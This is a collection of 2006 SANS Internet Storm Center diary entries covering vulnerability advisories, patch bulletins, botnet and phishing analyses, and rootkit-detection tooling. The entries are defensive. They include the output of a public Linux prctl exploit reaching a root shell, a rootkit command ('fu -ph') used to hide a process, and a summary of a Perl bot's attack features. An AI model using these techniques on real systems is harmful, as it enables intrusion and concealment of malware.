Scott Fendley
ISC Handler

0 Comments

Published: 2006-07-18

Winternals/SysInternals acquired by Microsoft

For those of us that have loved the tools that Mark and Bryce have created over the years, pay attention.  Winternals/Sysinternals has been acquired by Microsoft.  It is my hope/belief that many of these tools may become a standard part of any new operating systems released by Microsoft.   However, those decisions have not been made at this moment in time.  I hope that Mark is able to assist in "making Windows an even better platform for all of us!"  In the mean time,  you might want to download the newest versions of these tools and play with them.  Many of them are wonderful tools to have in the toolkit of any IT Security professional.

Source:
http://www.sysinternals.com/blog/2006/07/on-my-way-to-microsoft.html


--
Scott Fendley
ISC Handler 

0 Comments

Published: 2006-07-18

Wireshark Vulnerability

Wireshark (formerly Ethereal) announced yesterday that there is a vulnerability which could cause it to crash, use up all available memory, or potentially execute arbitrary code.  It is highly recommended that we upgrade to version 0.99.2.  I would assume that those using the older Ethereal versions should move over to the new Wireshark branded versions as well.

Source:
http://www.wireshark.org/security/wnpa-sec-2006-01.html
http://secunia.com/advisories/21078/

---
Scott Fendley
ISC Handler

0 Comments

Published: 2006-07-17

FTP-Brute Force Attacks and Password Management


In the past week I have seen what had appeared to be an uptick in FTP based brute force attacks on a few of the machines in my area.  According to the Dhsield Data, there has been a little increase in sources for a few days, but perhaps nothing out of the ordinary.  That was until last night when Ryan from the Phillipine Honeynet Project pointed out the same thing from their point of view. [Thanks for confirming this before I even asked :-)  ]

They issued an advisory located at http://www.philippinehoneynet.org/data.php which details a bit more of what they are seeing.   I am going to include a snipit of their advisory which includes some tips and reminders for administrators about password management.


"In light of this, here are some tips / guide for administrators:
  • force passwords to expire on a regular basis, be it monthly, quaterly, or on some other schedule - and force users to change their old passwords.
  • users should be forced to use their new password for a period of time before being allowed to change it again.
  • users should not be allowed to re-use an old password and the system should be able to keep or record previously used passwords for a given user.
  • a minimum password length should be enforce and also force the users to contain their selected password with some minimum number of upper-case characters, numbers, and non-alphanumeric characters.
  • passwords should be compared or checked against a "dictionary" of easily guessable passwords or strings that are commonly hit by the standard password "cracking" tools.
  • set a given account to be disabled after a certain number of failed logins except for administrative accounts.
  • user names should also be considered. deny "default" user names either with super (administrator, root, et.al.) or those with restricted privileges (nobody, et.al).
  • FTP server shouldn't verify the existence or non-existence of the user names entered as to hinder this guessing attack
  • check your network for FTP services that you're not aware about, especially those hardware with embedded OS.
This special advisory is just to remind administrators that sometimes, it is the small things that tend to make big holes. In this case, it is always a good idea to implement stricter measures in password usage particularly in setting up temporary passwords for new accounts."

---
Scott Fendley
ISC Handler

0 Comments

Published: 2006-07-17

Microsoft Powerpoint Security Advisory Released

Yesterday evening, Microsoft released a security advisory concerning the 0-day vulnerability reported on July 15. The advisory details some of the mitigating factors, and offers some work arounds that may help protect you until the release of an update in the August patch Tuesday.  The advisory is located at http://www.microsoft.com/technet/security/advisory/922970.mspx .


---
Scott Fendley
ISC Handler

0 Comments

Published: 2006-07-17

McAfee EPO fix

eEye claim that the vulnerability allows for remote code execution as SYSTEM, McAfee seem to be saying it only allows for placement of arbitrary files on the vulnerable host. McAfee is acknowledging the vulnerability in their EPO product, and have posted a fix. Details at the URL below:

http://knowledge.mcafee.com/article/640/9925498_f.SAL_Public.html

http://www.eeye.com/html/research/advisories/AD20060713.html

Cheers,
Adrien

0 Comments

Published: 2006-07-17

Reported Shockwave issue with Myspace.com

Scott wrote in to report that Myspace.com may be having security issues with embedded Shockwave files. A couple of websites contain some details of the 'hack'. Myspace.com did not return any emails that requested additional information from them. I have been unable to confirm the hack or the security issue.

Some information:
http://chaseandsam.com/
http://kinematictheory.phpnet.us/

I can't vouch for the content, and I don't have a Myspace.com account.

Cheers,
Adrien

0 Comments

Published: 2006-07-16

Behavioral Analysis of Rootkit Malware

Those who've taken my Reverse-Engineering Malware class know that I am a fan of a two-phased approach to malware analysis:

  1. The behavioral analysis phase examines how the malicious program interacts with its environment: the file system, the registry (if it's a Windows program), and the network.
  2. The code analysis phase examines the code of the malicious program to understand what capabilities are built into it.
Each phase produces findings that reinforce findings from the other phase, resulting in a comprehensive understanding of the malicious program that would be harder to obtain via a single phase. The analyst typically starts with the phase that he or she is most comfortable with.

The behavioral analysis phase can be tricky when the malicious specimen exhibits rootkit tendencies--hiding its processes or files, for instance. One way to deal with this is to patch the specimen so that the concealing subroutine never executes. This is not always easy. To ease the challenge of monitoring rootkit-concealed processes, we can employ programs that can detect concealment mechanisms such as function hooking. I'd like to describe two such programs: Helios and IceSword.

The authors of Helios call it an advanced malware detection system. It attempts to tackle the task of heuristically detecting and blocking malicious programs, even rootkits, before they can embed themselves deep in the system. The program is still in the alpha development phase, but it is available as a free download for those who want to experiment with it in a laboratory environment.

I took Helios for a spin today to see whether it could help with malware analysis. I think it can be a helpful addition to the reverse-engineer's toolkit, because it can detect when the malicious program attempts to hide itself via rootkit techniques. Helios can also unhide the malicious process to to make behavioral analysis a bit easier.

For example, consider a malicious program called malware.exe. Executing normally, it is visible in the task list, as you can see in the following Task Manager screen shot:



If this program had exhibited rootkit behavior, its process would be hidden. We can simulate this by hiding the  malware.exe process using a rootkit, such as one called FU. By executing the command "fu -ph" and then supplying the process ID of the malicious program, we can hide the process from Task Manager.

If Helios is running in the background, it can detect the attempt to hide this process and alert you about it:



Helios can also allow you to unhide the concealed process with a click of a button:



Once unhidden, the malicious process is visible in Task Manager again.

Although Helios shows promise, it is still clearly a work a progress. For instance, I was unable to use Helios to detect a process concealed with FUTo, a newer version of the FU rootkit. Also, activating some features of Helios crashed my VMware virtual machine. I hope the program's authors continue their efforts to make it production-ready.

Another program that is definitely worth mentioning is IceSword, which offers a collection of utilities that can help locate rootkit-concealed programs. For example, even after I hid malware.exe using FU rootkit, IceSword listed the malicious process among the processes running on the infected system:



If you know of other helpful tools for analyzing rootkit-like malicious software, please let us know. We'll be glad to hear from you.

Lenny Zeltser
www.zeltser.com

0 Comments

Published: 2006-07-15

Thanx to our readers

Well, I'm back home and almost caught up on sleep after SANSFIRE (the largest gathering of handlers in one place in the history of the Internet Storm Center).  The training at these conferences is always top notch, but meeting with other professionals that are going through the same sorts of things at work is also a treat for me and getting to actually meet some of the other handlers in person after corresponding with them online for, in some cases, 5 years was a blast.  There were a number of people who came up to me in DC (especially on Thursday when all the handlers --except one who shall remain nameless-- wore our ISC shirts) to thank us for providing this service.  We all appreciate the kind words, but we wouldn't be able to do what we do, if it weren't for the rest of our readers out there submitting logs to Dshield, writing in when they see something suspicious on their own machines or networks (and including packets and the malware), or just giving us a heads up that they hear about a new vulnerability somewhere.  We enjoy doing this, and we struggle through the slow days when there doesn't seem to be anything to write about to get to the "exciting" days when there is a massive malware outbreak.    I think I speak for all of us here when I say that the thanks really go to you folks, we couldn't do it without you, so keep up the good work.

We now return you to our regularly scheduled Linux local privilege escalation exploits. :)

-----------------------------
Jim Clausing

0 Comments

Published: 2006-07-15

And *another* 0-day Linux kernel vulnerability

And if we didn't have enough for this weekend, an exploit for another Linux kernel privilege escalation vulnerability has been posted.

The exploit seems to be working on all 2.6.x kernels and is not related to the previous exploit we've written about.

From limited testing we've done so far, SELinux is blocking this exploit successfully, so the exploit didn't work on RedHat Enterprise Linux 4 machines we've tested this on.

Also, the published exploit depends on the a.out support in the kernel (the CONFIG_BINFMT_AOUT has to be set), but the vulnerability can be exploited no matter if a.out is supported or not.

0 Comments

Published: 2006-07-14

0-day exploit for Microsoft PowerPoint

Our readers Juha-Matti and Gennaro informed us about a new, undocumented vulnerability in Microsoft PowerPoint. It looks like the same group of Chinese hackers decided to take Office applications for a good test. And the fact that they are releasing their stuff immediately after Microsoft released the patches certainly doesn't help.

Symantec has a write-up of this; it doesn't look like it's wide spread at all at the moment.

UPDATE 07/14/2006

Microsoft is working on this issue and they've posted some information on their blog.
Most of the major AV vendors received samples of the infected PPT file and added detection for it so far. However, this doesn’t mean that you can completely relax now – while we don’t know what part of the infected PPT file they use for detection, it is quite possible that new exploits for this same vulnerability (once and if they are released) will not be detected properly (we’ve seen this before with other vulnerabilities in Microsoft Office product, Excel for example).

At this moment we are not sure exactly which versions of Microsoft PowerPoint are affected by this vulnerability. It looks like all versions 2000 through to 2003 are vulnerable.
We also can’t confirm whether the PowerPoint Viewer utility is or isn’t affected.

There is a CVE entry for this vulnerability, http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3590.

Juha-Matti created a nice FAQ about this vulnerability (similarly to his previous Excel vulnerability FAQ). You can find it at http://blogs.securiteam.com/?p=508.

It is worth reminding you that, as with previous vulnerabilities in Microsoft Office applications, there are not many options you have in protecting your networks. If you can, apply strict filtering of PPT files (maybe at least quarantine them, so they can be scanned and reviewed later). Users should be extra careful when opening PowerPoint files until Microsoft releases a patch (or some workaround is available).
While we can’t confirm that this would stop the exploit from executing, it is a good idea to turn on memory-based security mechanisms (Data Execution Prevention).

If you went to Symantec’s web site with the description of the Trojan being dropped, you probably saw the screen shot of the PowerPoint slide which is displayed once the file is opened in PowerPoint. One of our readers, Vince, sent us the translation of this:

“What is love? Sending her 999 roses knowing she doesn't love him.
What is waste? Sending her 999 roses know she loves him.”

Interesting, isn’t it? If this was displayed with all infected documents, it makes us wonder who was targeted with this. It is quite possible that that the original exploit was written by some other author who then maybe sold it to bad guys – this sounds to me like a typical “I’m in love, here’s my worm/virus/exploit dedicated to her” thing; we’ve seen such worms/viruses many times before.

0 Comments

Published: 2006-07-14

Perl bot exploiting vulnerabilities in Joomla and Mambo components

Yesterday fellow handler Chris wrote about a possible phpBB worm exploiting a 0-day vulnerability (http://isc.sans.org/diary.php?storyid=1480). If you're using phpBB you can relax – the worm we've analyzed doesn't exploit any vulnerabilities in phpBB.

We've received two samples from the Nepenthes Development team and analyzed them. Both samples contain practically the same bot written in perl. The only difference between them is the vulnerability which is being exploited.

Both bots exploit remote file inclusion vulnerabilities in components that are typically used with Joomla and Mambo, popular CMS packages. In first case the bot is exploiting a vulnerability in the perForms component that is used to create dynamic forms.
The second perl bot exploits an unpatched vulnerability in Joomla/Mambo CNS component SimpleBoard (there is a CVE for this vulnerability, http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3528). It looks like even the latest RC version of the SimpleBoard component is affected by this vulnerability so be sure to disable it if you have it installed on your machine.
In both cases exploits for these vulnerabilities have been published previously.

Besides the attack part, the perl bot also contains couple of "extra features". The bot will report to a hard coded IRC server. Besides the attack component, the bot can also perform a poor TCP portscan (the destination ports are also hard coded in the bot and can not be changed), UDP, TCP and HTTP floods.
The bot will use Google to search for vulnerable sites and offers the possibility of executing any commands through the remote shell.

If you have been following our diaries you probably noticed a trend of exploiting vulnerabilities in third party components for Joomla and Mambo packages. While there were some vulnerabilities in the core packages as well, one can expect that there is a whole new world of vulnerabilities in third party components, so be careful on what you install. Install and enable only components that you really need and be sure that you subscribe to all the relevant mailing lists so you can keep track of what's going on with them.

0 Comments

Published: 2006-07-14

Linux kernel PRCTL local privilege escalation

This vulnerability enables an attacker to get elevated privileges on a local machine. There have been several exploits released and we can confirm that they work. We've tested this on unpatched SuSE and RedHat Enterprise Linux machines:

$ ./a.out

prctl() suidsafe exploit

(C) Julien TINNES

[+] Installed signal handler
[+] We are suidsafe dumpable!
[+] Malicious string forged
[+] Segfaulting child
[+] Waiting for exploit to succeed (~28 seconds)
[+] getting root shell
sh-3.00#

Debian also confirmed that this exploit was used on their recently compromised machine (http://isc.sans.org/diary.php?storyid=1479).

As all kernels 2.6.13 up to version 2.6.17.4 and 2.6.16 before 2.6.16.24 are affected, you should patch as soon as possible, even if you don't allow any local users on your machines. Remember that even a small vulnerability in a PHP script can allow local access, which then can be escalated with this exploit.

CVE for this vulnerability has also been issued: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2451.

Thanks to David Taylor for sending information about this to us.

0 Comments

Published: 2006-07-13

MS 06-034 woes?

A short while ago, a reader alerted us to a  reported problem with  MS06-034 where a user was unable to install the patch after repeated attempts.

Thanks to all those who submitted details of thier problems.  At this point we have recieved plenty of reports and now have a good picture of the problem.  We no longer need problem descriptions.

Microsoft is investigating the issue and is working on a resolution.
Published: 2006-07-13

phpbb 0 day worm or just too many unpatched boxes?

We recieved a report of a phpbb 0 day.

Upon investigation, it may be a re-hash of the mosConfig_absolute_path exploit hitting unpatched systems.

We're looking into the report and will update the diary as we get new information.

0 Comments

Published: 2006-07-12

Debian development server compromised

Looks like the debian developement server (hosting the cvs amongst other services) has been compromised. The Debian folks are still investigating the incidents at this point. No words on whether the any source code were altered yet.

From stories like these, we can't stress the point of having a HIDS system. From experience, some server could be compromised over 6 months before someone even notice about it. Having some type of HIDS such as AIDE or Tripwire can hopefully reduce the detection time.

0 Comments

Published: 2006-07-12

Recent Two factor authentication attacks

There has been recent report of two factor authentication protected websites getting attacked by the man-in-the-middle type of setup where the victim enter information (include the token code) into a look-alike website, this look-alike website immediate uses those credential to login to the actual financial site. Obviously, upon success login by the user, the attacker can immediately execute the fraudalent transaction.

While this might sound shocking to the financial industry since we haven't seen too many of these attacks, the theory of the attack and the risk have certainly been well understood within the security community. (I have written an article on this back in April)

Overall, two factor authentication will reduce the risk of attacks by raising the effort of the attacker to compromise the accounts, but it might not have the level of security enhancement that some people believed. In the man-in-the-middle attack, the flaw happens due to the lack of verification of the bank's website by the victim, the victim are simply tricked into yielding credentials to a web site without authentication. This is really outside of the protection zone of the extra authentication factor.

To futher extend this, two factor authentication also does NOT protect the end host security, a malware (such as keylogger, BHO) could be installed on the client's machine and effectively gather the credential and login on behalf of the victim instead of letting the victim login.

This is a classic problem of "you are only as secure as the weakest link". Two factor authentication is good for secure authentication but does not take care of mutual authentication or endpoint security. From the financial organization perspective, maybe further investment into mutual authentication and ensuring client's computer being free of malware would be necessary to protect the client's online transactions.


0 Comments

Published: 2006-07-12

Botnet traffic using TOR

A reader (AnthraX101) recently wrote to us about seeing botnet traffic leaving TOR network towards Internet. We are not sure at this point whether the botnets itself uses TOR or just a specific machine configured to route everything through TOR. Either way, if malware start using TOR to report back centrally, it might make detecting them more difficult. From an incident handler perspective, it makes pinpointing the victims more difficult.

For the Enterprise security folks, it might be time for you to consider blocking the use of TOR.

0 Comments

Published: 2006-07-11

MS06-039: vulnerabilities in Microsoft Office GIF and PNG parsers

This patch fixes two vulnerabilities in all Microsoft Office products (Office 2000, XP, 2003 are affected, as well as Project 2000, 2002 and Microsoft Works 2004, 2005, 2006). Microsoft Office for Mac is not affected.

The vulnerabilities can be exploited by crafting a special GIF or PNG graphic files. In both cases the user needs to open the file so, while this vulnerability can not be exploited automatically through e-mail, it is still very easy to get user into opening a file.
It is worth mentioning that, when the file is hosted on a web site, Office 2000 does not prompt the user before opening the document (which means that it's enough for a user to click on a link leading to the file).

As the only workarounds are not to open or save files "you receive from un-trusted sources or that you received unexpectedly from trusted sources" you should patch as soon as possible.

MS advisory is at http://www.microsoft.com/technet/security/Bulletin/MS06-039.mspx.

CVEs are at http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0033 and http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0007.

0 Comments

Published: 2006-07-11

Microsoft Security Bulletin MS06-038

Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (917284)


Impact of Vulnerability: Remote Code Execution

Maximum Severity Rating: Critical

Recommendation: Customers should apply the update immediately

Security Update Replacement: None

This Security Bulletin covers multiple CVE items as indicated below:

CVE-2006-1316 – Microsoft Office Parsing Vulnerability
CVE-2006-1540 – Microsoft Office Malformed String Parsing Vulnerability
CVE-2006-2389 – Microsoft Office Property Vulnerability

Software Affected:

It appears that all of the Microsoft Office 2000, 2002, 2003 programs are affected. Not affected is Works applications.

Summary

This is another remote code execution problem and appears to impact Office 2000 applications the worse lending to a critical assessment.  The other versions of Office identified as vulnerable are listed as important for all three of the CVE’s. 

From Microsoft Bulletin

A remote code execution vulnerability exists in Office, and could be exploited when a malformed string included in an Office file was parsed by any of the affected Office applications.  Such a string might be included in an email attachment processed by one of the affected applications or hosted on a malicious web site.  Viewing or previewing a malformed email message in an affected version of Outlook could not lead to exploitation of this vulnerability.  An attacker could exploit the vulnerability by constructing a specially crafted Office file that could allow remote code execution.

In all three cases the only tested work around is NOT to open attachments from untrusted sources.  I guess that means to apply the patch ASAP.

Published: 2006-07-11

Microsoft Security Bulletin MS06-037

Vulnerabilities in Microsoft Excel Could Allow Remote Code Execution (917285)


Microsoft Security Bulletin MS06-037

Impact of Vulnerability: Remote Code Execution

Maximum Severity Rating: Critical

Recommendation: Customers should apply the update immediately

This Security Bulletin covers multiple CVE items as indicated below:

CVE-2006-1301 - Microsoft Excel Malformed SELECTION record vulnerability
CVE-2006-1302 – Microsoft Excel Malformed SELECTION record vulnerability
CVE-2006-1304 – Microsoft Excel Malformed COLINFO record vulnerability
CVE-2006-1306 – Microsoft Excel Malformed OBJECT record vulnerability
CVE-2006-1308 – Microsoft Excel Malformed FNGROUPCOUNT Value vulnerability
CVE-2006-1309 – Microsoft Excel Malformed LABEL record vulnerability
CVE-2006-2388 – Microsoft Excel Rebuilding vulnerability
CVE-2006-3059 – Microsoft Excel Malformed file vulnerability

This update resolves several public, privately reported, and newly discovered vulnerabilities.  All of these state that a remote code execution vulnerability exists in Excel dealing with each of the identified items. The only workaround suggested and tested is to NOT open attachments from untrusted sources.  I guess that means, PATCH.

Microsoft states:

When using vulnerable versions of Office, if a user were logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of the client workstation. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

0 Comments

Published: 2006-07-11

MS06-034 - unchecked IIS buffer vulnerability in ASP files processing

This patch fixes what seems to be a buffer overflow in IIS. This buffer overflow can be exploited when IIS is processing ASP files.

In other words, in order to exploit this vulnerability, an attacker has to somehow be able to upload ASP files on the target server, which is running IIS (versions 5.0, 5.1 and 6.0 are affected). Normally, you would require a user to authenticate before they can upload files to the server, so the vulnerability is rated moderate/important.

In case that you do allow people to upload ASP files on your IIS server, it would be wise to apply the patch as soon as possible, although we don't know about any public exploits yet.

Microsoft's advisory is at http://www.microsoft.com/technet/security/Bulletin/MS06-034.mspx.
CVE at http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0026.

0 Comments

Published: 2006-07-11

MS06-036 - unchecked buffer Vulnerability in DHCP Client Service Could Allow Remote Code Execution (914388)

MS06-036 has been issued, MS has said systems "Primarily" at risk are Microsoft Windows 2000, Windows XP and Windows Server 2003.

"How could an attacker exploit the vulnerability?
An attacker could exploit the vulnerability by answering a client's DHCP request on the local subnet with malformed packets."

"Could the vulnerability be exploited over the Internet?
An attacker could try to exploit this vulnerability over the Internet."

"Are Windows 98, Windows 98 Second Edition or Windows Millennium Edition critically affected by this vulnerability?
No. Although Windows 98, Windows 98 Second Edition, and Windows Millennium Edition do contain the affected component, however the vulnerability is not critical."

CVE-2006-2372

0 Comments

Published: 2006-07-11

MS06-035 - Patch now!

MS06-035 (CVE-2006-1314) looks to be the most dangerous of the
vulnerabilities announced this month, specifically the Mailslot heap overflow. 
The vulnerability can be exploited remotely against the "Server" service.
So this would definitely be something that could be used for
widespread compromise with no user interaction, or a worm.

Looks like Windows 2000 SP4 is vulnerable by default.  Windows XP SP2
and Server 2003 don't appear to be vulnerable with a default
installation unless services are listening on Mailslots.  At this
point, it is unclear exactly what software would enable Mailslots to
create a vulnerable condition.

So how long before exploit code is available?  Well, clever readers
will have noticed that Pedram Amini and H D Moore are credited with
discovering this vulnerability (the Mailslot heap overflow).  Those
guys are some of the best in the business, so you do the math...  I'm
guessing that they have had reliable exploit code working for a while
now.  (I can just see all the script kiddies hitting refresh every ten
seconds on metasploit.com).

You should probably make this your top priority in patching.

0 Comments

Published: 2006-07-11

Microsoft Patches Released

Good afternoon all from the SANSFire conference in Washington DC,

A bit earlier today Microsoft released a number of updates to address security issues in Windows systems, Office and IIS Server.  We are in the process of analyzing these bulletins to write up bulletins.  As many of the ISC handlers are in DC or are returning home presently, please bear with us as we are a bit slower on writing up diaries on these during the day.

In addition to these 7 bulletins located at http://www.microsoft.com/technet/security/bulletin/ms06-jul.mspx , Microsoft did release updates to the Malicious Software removal tool  ( KB890830 )   and the Outlook 2003 Junk Email Filter (  ).

0 Comments

Published: 2006-07-11

Juniper IPv6 vulnerability

Specially crafted IPv6 packets can cause a kernel memory 
leak and eventually a reboot in ALL VERSIONS of JUNOS released before May 10 2006
From https://www.juniper.net/support/security/alerts/IPv6_bug.txt
"Issue:
This issue affects all releases of JUNOS Internet Software running
on M-series, T-series, and J-series routers and built prior to May 10, 2006.
Affected JUNOS routers, when receiving certain IPv6 packets,
do not release the memory buffer occupied by the IPv6 packet. 
Repeated reception of such packets can eventually consume all kernel packet
memory and cause the router to crash.
Solution:
The JUNOS IPv6 code has been corrected to release the memory occupied
by the invalid packet in all cases.  All releases of JUNOS software
built on or after May 10, 2006 include the corrected code.  Corrective
software is available for JUNOS releases 6.4 through 8.0 inclusive." 
You can get updated software at http://www.juniper.net. 
If your not already a registered juniper customer you will need to register first.
"Customers without a JUNOS support or maintenance contract can gain
access to corrective software by requesting a Juniper user account at
the following link: http://www.juniper.net/entitlement/setupAccountInfo.do
The account must be set up with Authorization Code: JNPRIPV6.  After
receiving the user account information via email, customers can then
contact Juniper Support at 1-800-638-8296 (US and Canada) or
+1-408-745-9500 (worldwide) in order to obtain the
links to the appropriate software image." 
Workaround: 
If you do not need to process IPv6 packets remove family inet6 from the interface configurations.
Detection:
After an attack:

You will see a kernel crash and you might see an "out of mbufs" message
in the sylog if the kernel had a chance to write that to syslog before it crashes.

During an attack:
Show system buffers will show the mbuf count getting smaller
Reference numbers:
JTAC bulletin PSN-2006-06-017
CVE# VU#294036

Additional references:
http://www.niscc.gov.uk/niscc/docs/br-20060711-00471.html?lang=en
http://www.kb.cert.org/vuls/id/294036

0 Comments

Published: 2006-07-10

Net Neutrality and Information Security

With the recent debate on network neutrality raging, I thought it appropriate to mention some of what I think the information security implications of net neutrality are (if adopted).  This is probably US-centric, but it shows how a policy if not fully thought through can negatively impact the ability of an organization to secure their environment.

Briefly, network neutrality is designed to prevent ISPs from favoring certain websites over others (faster load times) or certain applications over others.  In short, it's designed for consumer PC environments only (the exact environments that are pretty much the biggest nightmare on the internet).

The supporters of network neutrality would allow for filtering of illegal traffic, but the problem comes in with grey areas.  For instance, network neutrality would not allow ISPs to filter P2P traffic as a class.  P2P isn't inherently illegal (as much as the MPAA/RIAA would like to say otherwise) however it isn't generally used for honest purposes (with few exceptions).  For instance, on my network, when I see bittorrent I know someone is generally doing something bad.  Because DMCA makes ISPs responsible for P2P piracy of their users, some ISPs simply don't allow P2P.  That would not be a viable option under a net neutrality regime.

If you don't like P2P because there is about a 1% chance that a given P2P use might be for legitimate software vendors too cheap to pay for bandwidth, the above is just as applicable for spam.  Sure, some spam is illegal but the perenial complain is that the law has not kept up with the spam problem (i.e. a good amount is still strictly legal).  With net neutrality if it's legal, it can't be filtered.  Not only incoming spam but outgoing spam must be allowed unless it can be shown to be illegal (a judgement simply well out-of-scope for an ISP to be making).

Here's a more potent example.  Many ISPs blocked inbound port 80 during the Code Red days.  There is nothing illegal about having webservers, however ISPs (in my opinion, rightly) decided that the risk was not worth the benefit and blocked that application.  This helped mitigate to some degree the spread of Code Red.  This would no longer be an allowable option with net neutrality as they'd presumably have to wait UNTIL a machine is infected to do something about it, instead of protecting the machine to begin with.  It should be intuitive that proactive security is better than reactive security (despite the fact that as an industry we keep insisting on being reactive).

The point is, there is a lot of "grey" in network traffic and gutting AUPs with network neutrality regulations would take away valuable tools to help stop bad traffic.  It converts the game from least privilege to most privilege.  If I start probing from my PC on a DSL line, my ISP (if they are paying attention) may outright block me unless I can prove legitimacy.  With net neutrality, legitimacy is presumed until a crime can be proven.  At that point damage is done.  It puts us once again behind the hackers, forced to wait until either the FCC decides ISPs can move or there is a crime with a victim and damage.

Security policies (or laws) in general should not emasculate security officers into a wait-and-see position.  Cost/benefit decisions should be allowed so that organizations can appropriately manage their own risk.

(Full disclosure: In addition to being in IT security, I'm a columnist.  My next column comes out against net neutrality for political reasons.  I mention this because I'm sure someone out there will think they are terribly clever for managing to use google, finding out I'm a columnist, and saying my politics are shaping my technical analysis here.  My point is that these security considerations have not been analyzed and thought through and I know this because I interviewed the drivers of the net neutrality policy. Maybe net neutrality can be revamped to allow for appropriate information security considerations to come into play, that's the point of this post.  I'd prefer to think about this stuff before policies are decided on than after, regardless of what I think about the policy in general.)

----
John Bambenek
bambenek /at/ gmail /dot/ com

0 Comments

Published: 2006-07-10

The ISC is not Trying to Trojan Your Machines

The ISCAlert tool that Tom Liston created is not a virus... seriously.  A few anti-virus vendors are accidently flagging ISCAlert as W32/Threat-HLLSI-based!Maximus.  There is no evidence the file has been tampered with, altered, or otherwise replaced with malware and we have every reason to believe this is a case of a false positive.  We are working with said AV vendors to rectify the problem.

ISCAlert is a desktop tray icon that alerts users when we change our infocon level or otherwise distribute important news.  If interested, please download the tool and feel free to use it.  It won't own your box, we promise.

---
John Bambenek
bambenek /at/ gmail /dot/ com

0 Comments

Published: 2006-07-07

Black Tuesday Advance Notice

Microsoft sent out the Advance Notice for Black Tuesday.  In short, 4 Windows patches and 3 Office patches with some in both categories being critical updates.  Stay tuned here on Tuesday for our monthly breakdown of the patches and the vulnerabilities they remediate.

---
John Bambenek
bambenek /at/ gmail /dot/ com

0 Comments

Published: 2006-07-07

Hacking Wireless Drivers for Fun and Profit

An ISC reader pointed out this relatively new exploit vector. At the upcoming BlackHat conference, a duo is going to demonstrate hacking WiFi device drivers to assume control of a target machine.  The combination of device drivers (which sit close to the kernel) and wireless technology makes this vector uniquely possible.  Most devices drivers you couldn't safely attack because devices are attached to the actual hardware, but wireless is meant to work over distance.  The vector is still limited by distance to those close enough to some transmission agent, but with the growing prevalence of free wireless hotspots it is easy to find places where enough laptops congregate to get good results (say a conference or in an airport terminal).  Basically it's a neat little vector of attacks I imagine we'll be seeing more of in the near future.

---
John Bambenek
bambenek /at/ gmail /dot/ com

0 Comments

Published: 2006-07-06

Yahoo! user account phishing

One of our readers, Bill, recently sent us some information about a fairly decent phishing web site.
The web site, which you can see below, is actually hosted on Geocities. The URL will immediately alert any user that knows what he's looking for (and this is why we can not stress enough how important user awareness and education is).
As you can see below, the design is fairly good, and if you don't check the URL, you might be fooled into entering your credentials here.





There are couple of issues here about which we wrote recently (http://isc.sans.org/diary.php?storyid=1277). While we were looking at bank web sites in the original diary by Johannes, we have a similar problem here. Although the credentials are transferred over the network securely (using SSL), the front web page seems to be plain HTTP.
A typical user doesn't know how to check what's happening once he clicks on the "Login" button, so it's very easy to launch phishing attacks like this on them.
That's why you should always use SSL on the front web page at least (yes, there are other numerous attacks on this, but let's stick to this subject for this moment).

Back to the phishing web page. Once a user tries to log in, his credentials are sent to a CGI script on a remote site which then (probably) e-mails this to the attacker.
The last interesting thing is related to obfuscation of the HTML. The attacker decided to use a product called HTML Protector. This tool basically just obfuscates HTML code using JavaScript but as a browser needs to be able to parse the HTML code, the unobfuscation function always has to be present, so with some spare time you can easily unobfuscate this.

0 Comments

Published: 2006-07-05

New Information from Symantec regarding the NSIS false positive

We received an email from Brian at Symantec confirming that the trojan.zlob was indeed a false positive.

His email states:
"We have confirmed that this false positive was corrected in virus definitions released on July 3, 2006."

So for those that have been getting this virus warning when trying to download apps using the NSIS installer, update your def's and try it again.

Deb

0 Comments

Published: 2006-07-04

SANSFIRE 2006

It has been a rather lonely day in the Storm Center.  Many of our Handlers have departed for a gathering at SANSFIRE. Those of us that are not privileged to attend this year are holding down the fort in their absence. I really hate to miss the event this year as some of our distinguished Handlers are also speakers at this years event. 

Our own Dr. J (Johannes Ullrich) is the keynote speaker for  Thursday.  He will be speaking about who we are and what we are up too.

On Friday our own Mike Poor will be the keynote and will examine global and local network methods that can be applied to prevent, detect and respond to mobile malicious code. Another tremendous talk I am sure. 

Other Handlers that are presenters:
Ed Skoudis - Cutting Edge Hacker Techniques
William Stearns - Basic Systems Administration
Marcus Sachs - Networking Essentials

SANSFIRE 2006

If you are planning on being at SANSFIRE let my friends and fellow Handlers know how much you appreciate all that they do.

0 Comments

Published: 2006-07-04

Symantec detecting NSIS as trojan.zlob.

We have received several emails regarding Wireshark ( the new version of Ethereal) being detected as infected with trojan.zlob.  After investigation it appears that this is a false positive with Symantec AV def's that are currently in use and that it is actually the NSIS (Nullsoft Installer) that is triggering the alert. 

NSIS Installers

Nullsoft Installer (NSIS) is an open source program that is used by many companies including WINAMP, WireShark and probably others to create low cost installers.  Apparently this is not the first time that Symantec has had a false positive on the NSIS installer. 

WinAmp Advisory


0 Comments

Published: 2006-07-03

Browser Bug of the Month Club

HD Moore published a blog entry on Sunday stating that he plans to issue a new browser bug each day through the month of July.  Two are already out and it looks like one of them is pretty nasty.  FrSIRT has some analysis available.  Here are the links:

HD Moore's original comments

***CAUTION*** the following links point to pages listing the actual exploit code.  There are "demonstration" links on these pages that if followed might cause your computer to lock up or crash.  Click with care!
Bug #1
Bug #2

These first two appear to be unpatched Windows Internet Explorer issues.  We'll post more comments as this develops.


Marcus Sachs
Director, SANS Internet Storm Center

0 Comments

Published: 2006-07-02

Number Theory

Yesterday we posted a diary entry about mystery URLs found in some Apache logs.  We received many responses, and several readers pointed out that the strings are probably obfuscations of dotted-quad IP addresses.   A few readers suggested that since the strings are nine numbers they could be US Social Security Numbers (for those outside the USA, we keep track of all our citizens through a system that is "not" supposed to be a national identity but has become one out of convenience; the nine-digit number is represented as XXX-YY-ZZZZ and the XXX part is a reference code to the general part of the USA you were in when you registered for the number.)  I'll give you my theory about the mystery URLs in a moment.

